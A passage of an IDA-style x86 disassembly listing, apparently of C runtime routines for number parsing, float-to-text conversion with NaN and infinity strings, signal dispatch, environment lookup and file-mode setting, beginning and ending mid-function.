		jmp	short loc_421746
; ---------------------------------------------------------------------------


loc_421750:				; CODE XREF: sub_4214D8+271j
		cmp	bl, 31h
		jl	loc_42184B
		cmp	bl, 39h
		jg	loc_42184B
		jmp	short loc_42176E
; ---------------------------------------------------------------------------


loc_421764:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 7
		jl	short loc_421777
		cmp	bl, 39h
		jg	short loc_421777


loc_42176E:				; CODE XREF: sub_4214D8+250j
					; sub_4214D8+28Aj
		push	9


loc_421770:				; CODE XREF: sub_4214D8+76j
		pop	eax


loc_421771:				; CODE XREF: sub_4214D8+240j
		dec	edi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421777:				; CODE XREF: sub_4214D8+28Fj
					; sub_4214D8+294j
		cmp	bl, 30h
		jnz	short loc_4217C0
		jmp	short loc_42173F
; ---------------------------------------------------------------------------


loc_42177E:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+arg_18], 0	; jumptable 0042153B case 11
		jz	short loc_4217AE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jnz	loc_42184E


loc_42179A:				; CODE XREF: sub_4214D8+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217A6:				; CODE XREF: sub_4214D8+258j
					; sub_4214D8+2B8j
		push	7


loc_4217A8:				; CODE XREF: sub_4214D8+85j
					; sub_4214D8+103j ...
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217AE:				; CODE XREF: sub_4214D8+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4217B2:				; CODE XREF: sub_4214D8+5Dj
					; sub_4214D8+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042153B case 10
		jz	loc_421850
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217C0:				; CODE XREF: sub_4214D8+12Dj
					; sub_4214D8+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421850
; ---------------------------------------------------------------------------


loc_4217C8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], 1	; jumptable 0042153B case 9
		xor	esi, esi


loc_4217D1:				; CODE XREF: sub_4214D8+339j
		cmp	dword_4397AC, 1
		jle	short loc_4217E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4217F8
; ---------------------------------------------------------------------------


loc_4217E9:				; CODE XREF: sub_4214D8+300j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4217F8:				; CODE XREF: sub_4214D8+30Fj
		test	eax, eax
		jz	short loc_421818
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421813
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4217D1
; ---------------------------------------------------------------------------


loc_421813:				; CODE XREF: sub_4214D8+334j
		mov	esi, 1451h


loc_421818:				; CODE XREF: sub_4214D8+322j
		mov	[ebp+var_1C], esi


loc_42181B:				; CODE XREF: sub_4214D8+371j
		cmp	dword_4397AC, 1
		jle	short loc_421833
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_421833:				; CODE XREF: sub_4214D8+34Aj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421842:				; CODE XREF: sub_4214D8+359j
		test	eax, eax
		jz	short loc_42184B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42181B
; ---------------------------------------------------------------------------


loc_42184B:				; CODE XREF: sub_4214D8+99j
					; sub_4214D8+E4j ...
		dec	edi
		jmp	short loc_421850
; ---------------------------------------------------------------------------


loc_42184E:				; CODE XREF: sub_4214D8+261j
					; sub_4214D8+2BCj
		mov	edi, ecx


loc_421850:				; CODE XREF: sub_4214D8+2DDj
					; sub_4214D8+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421938
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42187C
		cmp	[ebp+var_45], 5
		jl	short loc_421870
		inc	[ebp+var_45]


loc_421870:				; CODE XREF: sub_4214D8+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42187F
; ---------------------------------------------------------------------------


loc_42187C:				; CODE XREF: sub_4214D8+38Dj
		mov	eax, [ebp+var_C]


loc_42187F:				; CODE XREF: sub_4214D8+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42192E


loc_421889:				; CODE XREF: sub_4214D8+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_421897
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_421889
; ---------------------------------------------------------------------------


loc_421897:				; CODE XREF: sub_4214D8+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421411
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4218B6
		neg	eax


loc_4218B6:				; CODE XREF: sub_4214D8+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4218C1
		add	eax, [ebp+arg_10]


loc_4218C1:				; CODE XREF: sub_4214D8+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4218C9
		sub	eax, [ebp+arg_14]


loc_4218C9:				; CODE XREF: sub_4214D8+3ECj
		cmp	eax, 1450h
		jle	short loc_421900
		mov	[ebp+var_2C], 1


loc_4218D7:				; CODE XREF: sub_4214D8+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4218E3:				; CODE XREF: sub_4214D8+454j
					; sub_4214D8+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421949
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421900:				; CODE XREF: sub_4214D8+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421910
		mov	[ebp+var_30], 1
		jmp	short loc_4218D7
; ---------------------------------------------------------------------------


loc_421910:				; CODE XREF: sub_4214D8+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4220C1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_42192E:				; CODE XREF: sub_4214D8+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_421938:				; CODE XREF: sub_4214D8+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421949:				; CODE XREF: sub_4214D8+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42195E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_42195E:				; CODE XREF: sub_4214D8+426j
					; sub_4214D8+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4214D8	endp

; ---------------------------------------------------------------------------
off_421979	dd offset loc_421542	; DATA XREF: sub_4214D8+63r
		dd offset loc_421591	; jump table for switch	statement
		dd offset loc_4215E8
		dd offset loc_421612
		dd offset loc_42166D
		dd offset loc_4216E4
		dd offset loc_42171A
		dd offset loc_421764
		dd offset loc_421743
		dd offset loc_4217C8
		dd offset loc_4217B2
		dd offset loc_42177E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A9	proc near		; CODE XREF: sub_42074B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_421A0B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421A0F
; ---------------------------------------------------------------------------


loc_421A0B:				; CODE XREF: sub_4219A9+5Aj
		mov	byte ptr [ebx+2], 20h


loc_421A0F:				; CODE XREF: sub_4219A9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421A35
		test	edi, edi
		jnz	short loc_421A35
		cmp	[ebp+arg_0], edi
		jnz	short loc_421A35


loc_421A20:				; CODE XREF: sub_4219A9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421C33
; ---------------------------------------------------------------------------


loc_421A35:				; CODE XREF: sub_4219A9+6Cj
					; sub_4219A9+70j ...
		cmp	dx, si
		jnz	short loc_421AB4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421A4E
		cmp	[ebp+arg_0], 0
		jz	short loc_421A5D


loc_421A4E:				; CODE XREF: sub_4219A9+9Dj
		test	edi, 40000000h
		jnz	short loc_421A5D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421AA3
; ---------------------------------------------------------------------------


loc_421A5D:				; CODE XREF: sub_4219A9+A3j
					; sub_4219A9+ABj
		test	cx, cx
		jz	short loc_421A77
		cmp	edi, 0C0000000h
		jnz	short loc_421A77
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421A86
; ---------------------------------------------------------------------------


loc_421A77:				; CODE XREF: sub_4219A9+B7j
					; sub_4219A9+BFj
		cmp	edi, eax
		jnz	short loc_421A9E
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Inf	; "1#INF"


loc_421A86:				; CODE XREF: sub_4219A9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_421A95:				; CODE XREF: sub_4219A9+109j
		and	[ebp+var_4], 0
		jmp	loc_421C0C
; ---------------------------------------------------------------------------


loc_421A9E:				; CODE XREF: sub_4219A9+C5j
					; sub_4219A9+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_421AA3:				; CODE XREF: sub_4219A9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_421A95
; ---------------------------------------------------------------------------


loc_421AB4:				; CODE XREF: sub_4219A9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4220C1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421B15
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421EA1
		pop	ecx
		pop	ecx


loc_421B15:				; CODE XREF: sub_4219A9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_421B2F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421B32
		jmp	loc_421A20
; ---------------------------------------------------------------------------


loc_421B2F:				; CODE XREF: sub_4219A9+173j
		mov	edi, [ebp+arg_C]


loc_421B32:				; CODE XREF: sub_4219A9+17Fj
		cmp	edi, 15h
		jle	short loc_421B3A
		push	15h
		pop	edi


loc_421B3A:				; CODE XREF: sub_4219A9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_421B50:				; CODE XREF: sub_4219A9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421B50
		test	esi, esi
		jge	short loc_421B7A
		neg	esi
		and	esi, 0FFh
		jle	short loc_421B7A


loc_421B6D:				; CODE XREF: sub_4219A9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213E4
		dec	esi
		pop	ecx
		jnz	short loc_421B6D


loc_421B7A:				; CODE XREF: sub_4219A9+1B8j
					; sub_4219A9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421BD7
		mov	[ebp+arg_C], ecx


loc_421B8A:				; CODE XREF: sub_4219A9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421358
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_421B8A
		mov	eax, [ebp+arg_14]


loc_421BD7:				; CODE XREF: sub_4219A9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421C14


loc_421BE4:				; CODE XREF: sub_4219A9+248j
		cmp	eax, ecx
		jb	short loc_421BF7
		cmp	byte ptr [eax],	39h
		jnz	short loc_421BF3
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------


loc_421BF3:				; CODE XREF: sub_4219A9+242j
		cmp	eax, ecx
		jnb	short loc_421BFB


loc_421BF7:				; CODE XREF: sub_4219A9+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_421BFB:				; CODE XREF: sub_4219A9+24Cj
		inc	byte ptr [eax]


loc_421BFD:				; CODE XREF: sub_4219A9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_421C0C:				; CODE XREF: sub_4219A9+F0j
		mov	eax, [ebp+var_4]


loc_421C0F:				; CODE XREF: sub_4219A9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421C14:				; CODE XREF: sub_4219A9+239j
					; sub_4219A9+275j
		cmp	eax, ecx
		jb	short loc_421C24
		cmp	byte ptr [eax],	30h
		jnz	short loc_421C20
		dec	eax
		jmp	short loc_421C14
; ---------------------------------------------------------------------------


loc_421C20:				; CODE XREF: sub_4219A9+272j
		cmp	eax, ecx
		jnb	short loc_421BFD


loc_421C24:				; CODE XREF: sub_4219A9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_421C33:				; CODE XREF: sub_4219A9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_421C0F
sub_4219A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C3C	proc near		; CODE XREF: sub_41D4FC+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421CA3
		dec	eax
		dec	eax
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C94
		sub	eax, 3
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C87
		sub	eax, 6
		jz	short loc_421C7A
		dec	eax
		jz	short loc_421C6D
		or	eax, 0FFFFFFFFh
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421C6D:				; CODE XREF: sub_421C3C+27j
		mov	esi, dword_48A2F4
		mov	eax, offset dword_48A2F4
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C7A:				; CODE XREF: sub_421C3C+24j
		mov	esi, dword_48A2F0
		mov	eax, offset dword_48A2F0
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C87:				; CODE XREF: sub_421C3C+1Fj
		mov	esi, dword_48A2F8
		mov	eax, offset dword_48A2F8
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C94:				; CODE XREF: sub_421C3C+10j
					; sub_421C3C+15j ...
		push	edi
		call	sub_421D69
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421CA3:				; CODE XREF: sub_421C3C+Cj
		mov	esi, dword_48A2EC
		mov	eax, offset dword_48A2EC


loc_421CAE:				; CODE XREF: sub_421C3C+3Cj
					; sub_421C3C+49j ...
		cmp	esi, 1
		jnz	short loc_421CBA
		xor	eax, eax
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421CBA:				; CODE XREF: sub_421C3C+75j
		test	esi, esi
		jnz	short loc_421CC5
		push	3
		call	sub_419AF6


loc_421CC5:				; CODE XREF: sub_421C3C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421CD7
		cmp	edi, 0Bh
		jz	short loc_421CD7
		cmp	edi, 4
		jnz	short loc_421CFD


loc_421CD7:				; CODE XREF: sub_421C3C+8Fj
					; sub_421C3C+94j
		mov	ebx, dword_48A0C8
		and	dword_48A0C8, 0
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	edx, dword_43BC1C
		mov	dword_43BC1C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421D00
; ---------------------------------------------------------------------------


loc_421CFD:				; CODE XREF: sub_421C3C+99j
		mov	ebx, [ebp+arg_0]


loc_421D00:				; CODE XREF: sub_421C3C+BFj
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	eax, dword_43BC10
		mov	ecx, dword_43BC14
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421D33
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43BBA0h[edx*4]


loc_421D21:				; CODE XREF: sub_421C3C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421D21
		jmp	short loc_421D33
; ---------------------------------------------------------------------------


loc_421D2C:				; CODE XREF: sub_421C3C+AAj
					; sub_421C3C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421D41


loc_421D33:				; CODE XREF: sub_421C3C+D7j
					; sub_421C3C+EEj
		push	dword_43BC1C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421D4F
; ---------------------------------------------------------------------------


loc_421D41:				; CODE XREF: sub_421C3C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421D4F
		cmp	edi, 4
		jnz	short loc_421D62


loc_421D4F:				; CODE XREF: sub_421C3C+103j
					; sub_421C3C+10Cj
		cmp	edi, 8
		mov	dword_48A0C8, ebx
		jnz	short loc_421D62
		mov	eax, [ebp+arg_0]
		mov	dword_43BC1C, eax


loc_421D62:				; CODE XREF: sub_421C3C+111j
					; sub_421C3C+11Cj
		xor	eax, eax
		pop	ebx


loc_421D65:				; CODE XREF: sub_421C3C+2Cj
					; sub_421C3C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D69	proc near		; CODE XREF: sub_421C3C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB9C, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_421D97
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]


loc_421D8B:				; CODE XREF: sub_421D69+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421D97
		cmp	[eax+4], edx
		jnz	short loc_421D8B


loc_421D97:				; CODE XREF: sub_421D69+16j
					; sub_421D69+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421DAB
		cmp	[eax+4], edx
		jz	short locret_421DAD


loc_421DAB:				; CODE XREF: sub_421D69+3Bj
		xor	eax, eax

locret_421DAD:				; CODE XREF: sub_421D69+40j
		retn
sub_421D69	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DAE	proc near		; CODE XREF: sub_42094E+23p

arg_0		= dword	ptr  4

		cmp	dword_48B690, 0
		push	ebx
		push	esi
		mov	esi, dword_48A03C
		push	edi
		jz	short loc_421E25
		test	esi, esi
		jnz	short loc_421DDF
		cmp	dword_48A044, esi
		jz	short loc_421E25
		call	sub_42217C
		test	eax, eax
		jnz	short loc_421E25
		mov	esi, dword_48A03C
		test	esi, esi
		jz	short loc_421E25


loc_421DDF:				; CODE XREF: sub_421DAE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421E25
		push	ebx
		call	sub_417AB0
		pop	ecx
		mov	edi, eax


loc_421DF0:				; CODE XREF: sub_421DAE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421E25
		push	eax
		call	sub_417AB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421E18
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421E18
		push	edi
		push	ebx
		push	eax
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421E1D


loc_421E18:				; CODE XREF: sub_421DAE+51j
					; sub_421DAE+59j
		add	esi, 4
		jmp	short loc_421DF0
; ---------------------------------------------------------------------------


loc_421E1D:				; CODE XREF: sub_421DAE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421E27
; ---------------------------------------------------------------------------


loc_421E25:				; CODE XREF: sub_421DAE+10j
					; sub_421DAE+1Cj ...
		xor	eax, eax


loc_421E27:				; CODE XREF: sub_421DAE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E2B	proc near		; CODE XREF: sub_4211F1+8Bp
					; sub_4211F1+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		jnb	short loc_421E92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421E92
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421E6B
		and	cl, 7Fh
		jmp	short loc_421E78
; ---------------------------------------------------------------------------


loc_421E6B:				; CODE XREF: sub_421E2B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421E86
		or	cl, 80h


loc_421E78:				; CODE XREF: sub_421E2B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421E86:				; CODE XREF: sub_421E2B+48j
		mov	dword_48A014, 16h
		jmp	short loc_421E9C
; ---------------------------------------------------------------------------


loc_421E92:				; CODE XREF: sub_421E2B+Bj
					; sub_421E2B+27j
		mov	dword_48A014, 9


loc_421E9C:				; CODE XREF: sub_421E2B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA1	proc near		; CODE XREF: sub_4219A9+165p
					; sub_4220C1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4220A1
		cmp	cx, 7FFFh
		jnb	loc_4220A1
		cmp	dx, 0BFFDh
		ja	loc_4220A1
		cmp	dx, 3FBFh
		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------


loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------


loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax


loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51


loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------


loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


